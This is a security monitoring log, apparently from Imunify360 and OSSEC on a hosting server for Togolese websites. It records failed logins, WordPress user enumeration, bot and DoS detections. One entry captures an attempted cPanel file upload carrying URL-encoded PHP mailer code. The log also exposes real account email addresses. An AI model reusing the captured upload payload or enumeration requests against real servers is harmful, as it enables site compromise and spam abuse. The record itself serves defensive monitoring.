[2026-07-01 14:38:39 +0000] info [cpaneld] 73.87.92.205 - dgdn "GET /login/?login_only=1&user=dgdn&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgdn (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 73.185.208.25
country_id: 6252001
description:
[2026-07-01 14:38:47 +0000] info [cpaneld] 73.185.208.25 - dgdn "GET /login/?login_only=1&user=dgdn&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgdn (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 97.242.172.59
country_id: 6252001
description:
[2026-07-01 14:38:50 +0000] info [cpaneld] 97.242.172.59 - dgd "GET /login/?login_only=1&user=dgd&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgd (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 73.242.94.229
country_id: 6252001
description:
[2026-07-01 14:38:19 +0000] info [cpaneld] 73.242.94.229 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 198.72.168.221
country_id: 6252001
description:
[2026-07-01 14:38:34 +0000] info [cpaneld] 198.72.168.221 - dgdntog "GET /login/?login_only=1&user=dgdntog&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgdntog (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 47.218.2.171
country_id: 6252001
description:
[2026-07-01 14:38:44 +0000] info [cpaneld] 47.218.2.171 - dg "GET /login/?login_only=1&user=dg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dg (has_cpuser_file failed)


plugin: modsec
rule: 77350586
name: IM360 WAF: Suspicious access to wp-includes library directory
abuser: 185.192.71.87
country_id: 2635167
domain: matosshop.tg
description:
IM360 WAF: Suspicious access to wp-includes library directory||SC:/home/iaxtjfpj/public_html/wp-includes/sodium_compat/src/Crypto.php||RSV:8.22||T:APACHE||


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 205.169.39.179
country_id: 6252001
description:
205.169.39.179 proxy - [07/01/2026:14:40:32 -0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=21638571 HTTP/1.1" 404 0 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" "-" "X-Forwarded-For: 205.169.39.179" 443


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.122.147.229
country_id: 6252001
description:
34.122.147.229 - - [01/Jul/2026:14:40:04 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6908565&pdata=https%253A%252F%252Fderou.tg%252F%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782916802 HTTP/2.0" 302 0 derou.tg "https://derou.tg//" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.122.147.229


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.123.170.104
country_id: 6252001
description:
34.123.170.104 - - [01/Jul/2026:14:40:08 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7105684&pdata=https%253A%252F%252Fconfortis.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782916804 HTTP/2.0" 302 0 confortis.tg "https://confortis.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.123.170.104


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 205.169.39.179
country_id: 6252001
description:
205.169.39.179 proxy - [07/01/2026:14:40:27 -0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=21638571 HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" "-" "X-Forwarded-For: 205.169.39.179" 80


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.20
country_id: 6252001
description:
205.169.39.20 - - [01/Jul/2026:14:40:02 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13015747&pdata=https%253A%252F%252Fderou.tg%252F%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782916800 HTTP/2.0" 302 0 derou.tg "https://derou.tg//" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.20


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 89.231.35.27
country_id: 798544
description:
Jul  1 14:45:00 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 89.231.35.27 has been locked due to Imunify RBL


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 123.6.49.47
country_id: 1814991
description:
123.6.49.47 - - [01/Jul/2026:14:44:56 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10185368&pdata=http%253A%252F%252Fdagl.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782917095 HTTP/1.1" 404 561 dagl.tg "http://dagl.tg/" "Mozilla/5.0 (Linux; U; Android 8.1.0; zh-cn; MI 8 Build/OPM1.171019.011) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/57.0.2987.108 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:123.6.49.47


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 41.207.184.180
country_id: 2363686
domain: camilliens.tg
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.22||T:APACHE||MV:/wp-json/wp/v2/users?context=view&per_page=100&_fields=id%2Cname%2Cavatar_urls&capabilities%5B0%5D=edit_theme_options&_locale=user||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.137.99
country_id: 3469034
description:
Jul  1 14:45:22 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.137.99 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 89.231.35.27
country_id: 798544
description:
Jul  1 14:45:06 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 89.231.35.27 has been locked due to Imunify RBL


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 41.207.184.180
country_id: 2363686
domain: camilliens.tg
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.22||T:APACHE||MV:/wp-json/wp/v2/users/me?_locale=user||


plugin: modsec
rule: 77350582
name: IM360 WAF: Bytedancewebview detected
abuser: 104.232.222.55
country_id: 2802361
domain: www.dkfood.tg
description:
IM360 WAF: Bytedancewebview detected||UA:Mozilla/5.0 (iPhone; CPU iPhone OS 17_0_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 BytedanceWebview/d8a21c6 musical_ly_31.7.0 JsSdk/2.0 NetType/WIFI Channel/App Store ByteLocale/en Region/KZ FalconTag/A494F146-0F95-46D0-A668-10F0C0AB2CD6 TTP_H5_URLPROTOCOL||RSV:8.22||T:APACHE||


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 49.45.44.29
country_id: 1269750
description:
Denial of Service (DoS) attack was discovered from 49.45.44.29: 80 connections per 30 seconds to 53 port.


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 49.45.44.28
country_id: 1269750
description:
Denial of Service (DoS) attack was discovered from 49.45.44.28: 80 connections per 30 seconds to 53 port.


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 27.115.124.38
country_id: 1814991
description:
27.115.124.38 - - [01/Jul/2026:14:53:28 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7063197&pdata=https%253A%252F%252Fdagl.tg%252Faccueil%252F1-presentation&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782917606 HTTP/2.0" 302 0 dagl.tg "https://dagl.tg/accueil/1-presentation" "Mozilla/5.0 (Linux; Android 11; CPH2185) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:27.115.124.38


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.245.27.115
country_id: 1643084
description:
[2026-07-01 14:57:10 +0000] info [cpaneld] 103.245.27.115 - 2002281 "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid user name specified


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 143.244.44.138
country_id: 6252001
description:
[2026-07-01 15:00:40 +0000] info [webmaild] 143.244.44.138 - david.ayivi@mesyscom.com "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 212.119.40.212
country_id: 294640
domain: corpsdiplomaticnews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.22||T:APACHE||RA:212.119.40.212||TA:212.119.40.212||


plugin: modsec
rule: 77350374
name: IM360 WAF: Scan attempt by bytespider crawler
abuser: 110.249.201.217
country_id: 1814991
domain: www.arse.tg
description:
IM360 WAF: Scan attempt by bytespider crawler||UA:Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; Bytespider; https://zhanzhang.toutiao.com/)||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77350274
name: IM360 WAF: Theme customization in WordPress
abuser: 41.207.184.180
country_id: 2363686
domain: camilliens.tg
description:
IM360 WAF: Theme customization in WordPress||MVN:ARGS:wp_customize||MV:on||WPU:admin||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 78.164.141.17
country_id: 298795
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/togo-crise-du-cepes-quel-impact-sur-les-ecoles-esa-et-esgis/ HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 187.188.11.196
country_id: 3996063
domain: togodailynews.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tghttp/togodailynews.tg/togo-une-bande-de-cybercriminels-dans-les-mailles-de-la-police-2/ HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 2.79.188.221
country_id: 1522867
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/togo-une-bande-de-cybercriminels-dans-les-mailles-de-la-police-2/ HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 201.149.124.139
country_id: 3469034
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/togo-lassemblee-nationale-adopte-le-projet-de-loi-de-finances-exercice-2026/ HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 5.61.54.192
country_id: 2750405
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:15-14.5.61.54.192||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 88.201.91.69
country_id: 290291
domain: togodailynews.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tghttp/togodailynews.tg/shelter-afrique-rabat-accueille-la-45e-assemblee-generale/ HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 78.179.173.78
country_id: 298795
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/shelter-afrique-rabat-accueille-la-45e-assemblee-generale/ HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 176.57.207.45
country_id: 3686110
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/?p=2166 HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.190.47.127
country_id: 1643084
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/?p=2245 HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.120.211.34
country_id: 3437598
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/?page_id=360 HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.191.221.189
country_id: 1562822
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/?page_id=370 HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.191.50.33
country_id: 1562822
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/?cat=1&paged=2 HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.59.177.27
country_id: 1210997
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/?page_id=135 HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.191.198.170
country_id: 1562822
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/?feed=rss2&cat=52 HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77350207
name: IM360 WAF: WordPress plugins/themes version enumeration
abuser: 34.48.13.30
country_id: 6252001
domain: corpsdiplomaticnews.tg
description:
IM360 WAF: WordPress plugins/themes version enumeration||RSV:8.22||T:APACHE||REQUEST_URI:/wp-includes/wlwmanifest.xml||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 216.10.217.101
country_id: 3489940
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/?page_id=365 HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 31.215.194.134
country_id: 290557
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/?p=2187 HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 223.188.151.203
country_id: 1269750
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/?cat=52 HTTP/1.1||RSV:8.22||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.206.34.29
country_id: 2542007
description:
2026-07-01 15:17:58 dovecot_plain authenticator failed for H=adsl196-29-34-206-196.adsl196-2.iam.net.ma (ag3k6gx9heaaje96hu6sc) [196.206.34.29]:57193: 535 Incorrect authentication data (set_id=info@keedyfarms.com)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 8.15.179.204
country_id: 6252001
description:
[2026-07-01 15:18:56 +0000] info [cpaneld] 8.15.179.204 - tp "GET /login/?login_only=1&user=tp&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tp (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.171.139
country_id: 3175395
description:
Jul  1 15:18:17 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.171.139 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 173.71.111.99
country_id: 6252001
description:
[2026-07-01 15:18:50 +0000] info [cpaneld] 173.71.111.99 - tps "GET /login/?login_only=1&user=tps&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tps (has_cpuser_file failed)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 196.168.198.121
country_id: 2363686
description:
[2026-07-01 15:18:54 +0000] info [webmaild] 196.168.198.121 - sayeva@caissederetraites.tg "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 47.17.98.2
country_id: 6252001
description:
[2026-07-01 15:18:53 +0000] info [cpaneld] 47.17.98.2 - tpstg "GET /login/?login_only=1&user=tpstg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tpstg (has_cpuser_file failed)


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 41.207.184.180
country_id: 2363686
domain: camilliens.tg
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.22||T:APACHE||MV:/wp-json/wp/v2/users?context=view&_fields=id%2Cname&_locale=user||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 38.51.39.187
country_id: 3658394
domain: togomedia24.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togomedia24.tg/2019/07/30/togo-la-ceni-ouvre-officiellement-la-campagne-des-elections-partielles/ HTTP/1.1||RSV:8.22||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 54.71.187.124
country_id: 6252001
description:
54.71.187.124 - - [01/Jul/2026:15:21:23 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7038568&pdata=https%253A%252F%252Fpnls.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782919282 HTTP/2.0" 302 0 pnls.tg "https://pnls.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:54.71.187.124


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 213.230.87.35
country_id: 1512440
domain: ca-togo.org
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ca-togo.org/actualite/detail/seminaire-sur-le-tarif-automobile HTTP/1.1||RSV:8.22||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 196.171.67.165
country_id: 2363686
description:
[2026-07-01 15:24:52 +0000] info [webmaild] 196.171.67.165 - mkoudahe@caissederetraites.tg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 36.73.34.11
country_id: 1643084
description:
36.73.34.11 - - [01/Jul/2026:15:25:41 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10263396&pdata=https%253A%252F%252Fdirect7.tg%252Ftag%252Fregion-centrale%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782919509 HTTP/1.1" 302 0 direct7.tg "https://www.bing.tg/" "Mozilla/5.0 (Linux; U; Android 15; SM-S918B Build/AP3A.240905.015.A2; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/139.0.7258.160 Mobile Safari/537.36 OPR/94.0.2254.78762" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:36.73.34.11


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 196.168.108.180
country_id: 2363686
description:
[2026-07-01 15:25:42 +0000] info [webmaild] 196.168.108.180 - kzodji@caissederetraites.tg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 102.68.77.13
country_id: 192950
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/tag/conference-de-lunion-africaine-sur-la-dette/ HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 102.68.77.13
country_id: 192950
domain: togodailynews.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tghttp/togodailynews.tg/tag/conference-de-lunion-africaine-sur-la-dette/ HTTP/1.1||RSV:8.22||T:APACHE||


plugin: modsec
rule: 77987062
name: IM360 WAF: GET add-to-cart flood pattern
abuser: 114.230.239.196
country_id: 1814991
domain: cafe.tg
description:
IM360 WAF: GET add-to-cart flood pattern||URI:/index.php?add-to-cart=2333||QS:add-to-cart=2333||RSV:8.22||T:APACHE||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 45.147.232.223
country_id: 6252001
domain: corpsdiplomaticnews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.22||T:APACHE||RA:45.147.232.223||TA:45.147.232.223||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 196.171.67.165
country_id: 2363686
description:
[2026-07-01 15:29:03 +0000] info [webmaild] 196.171.67.165 - mkoudahe@caissederetraites.tg "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 196.171.67.165
country_id: 2363686
description:
[2026-07-01 15:30:03 +0000] info [webmaild] 196.171.67.165 - agencekara@caissederetraites.tg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 190.111.162.237
country_id: 6252001
domain: lct-togo.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.22||T:APACHE||RA:190.111.162.237||TA:190.111.162.237||


plugin: modsec
rule: 77987062
name: IM360 WAF: GET add-to-cart flood pattern
abuser: 122.192.32.23
country_id: 1814991
domain: cafe.tg
description:
IM360 WAF: GET add-to-cart flood pattern||URI:/index.php?add-to-cart=2337||QS:add-to-cart=2337||RSV:8.22||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 195.64.250.146
country_id: 690791
description:
Jul  1 15:33:00 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 195.64.250.146 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 195.63.15.148
country_id: 6252001
description:
[2026-07-01 15:35:06 +0000] info [cpaneld] 195.63.15.148 - rdlizssu "POST /execute/Fileman/save_file_content?dir=public_html&path=public_html&from_charset=UTF-8&content=%3C%3Fphp+%24s+%3D+%22false%22%3Bif+%28mail%28%24_COOKIE%5B%22email_send_id%22%5D%2C%22Cp+Send+%23%22.%24_COOKIE%5B%22it_id%22%5D%2C%22Cp+Send+Working+..+%23%22.%24_COOKIE%5B%22it_id%22%5D.%22%5CnHash%3A+%22.md5%28time%28%29.uniqid%28%29%29%29%29+%7B%24s+%3D+%22true%22%3B%7Decho+%24s%3B%3F%3E&file=test123Cp.php&file_name=test123Cp.php HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 37.221.150.177
country_id: 690791
description:
Jul  1 15:36:03 ns5 auth[1963421]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 37.221.150.177 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 160.242.199.70
country_id: 2363686
description:
[2026-07-01 15:37:13 +0000] info [webmaild] 160.242.199.70 - hboroze@caissederetraites.tg "POST /cpsess7026539770/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [160.242.195.10] != Current IP Address [160.242.199.70]


plugin: ossec
rule: 2501
name: User authentication failure.
description:
127.0.0.1 - magbekponou@davakconsulting.com [07/01/2026:15:40:38 -0000] "PROPFIND" FAILED LOGIN cpdavd: Authentication failed for user: magbekponou@davakconsulting.com


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 160.242.199.70
country_id: 2363686
description:
[2026-07-01 15:40:17 +0000] info [webmaild] 160.242.199.70 - hboroze@caissederetraites.tg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.65.237.55
country_id: 1643084
description:
[2026-07-01 15:40:38 +0000] info [cpaneld] 103.65.237.55 - 1ytd3xo "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid user name specified


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 45.133.112.170
country_id: 6252001
domain: corpsdiplomaticnews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.22||T:APACHE||RA:45.133.112.170||TA:45.133.112.170||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 104.28.154.134
country_id: 953987
domain: scafricaplc.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:70492.scafricaplc.com||ServerName:scafricaplc.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:9b22878e72b2f968f33d94f2ff5cd600dbac1417||Title:0x6e82ea1b||RSV:8.22||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-07-01 15:42:12 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:45568: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 195.63.25.213
country_id: 2635167
description:
[2026-07-01 15:42:27 +0000] info [whostmgrd] 195.63.25.213 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 192.101.65.201
country_id: 6252001
domain: corpsdiplomaticnews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.22||T:APACHE||RA:192.101.65.201||TA:192.101.65.201||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 95.107.191.153
country_id: 783754
domain: www.ca-togo.org
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.ca-togo.org/presentation HTTP/1.1||RSV:8.22||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.65.237.55
country_id: 1643084
description:
[2026-07-01 15:45:33 +0000] info [cpaneld] 103.65.237.55 - nwvfmxat "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 196.171.29.125
country_id: 2363686
domain: lacs1.mairie.tg
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.22||T:APACHE||MV:/wp-json/wp/v2/users?context=view&search=l&_locale=user||


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 196.171.29.125
country_id: 2363686
domain: lacs1.mairie.tg
description:
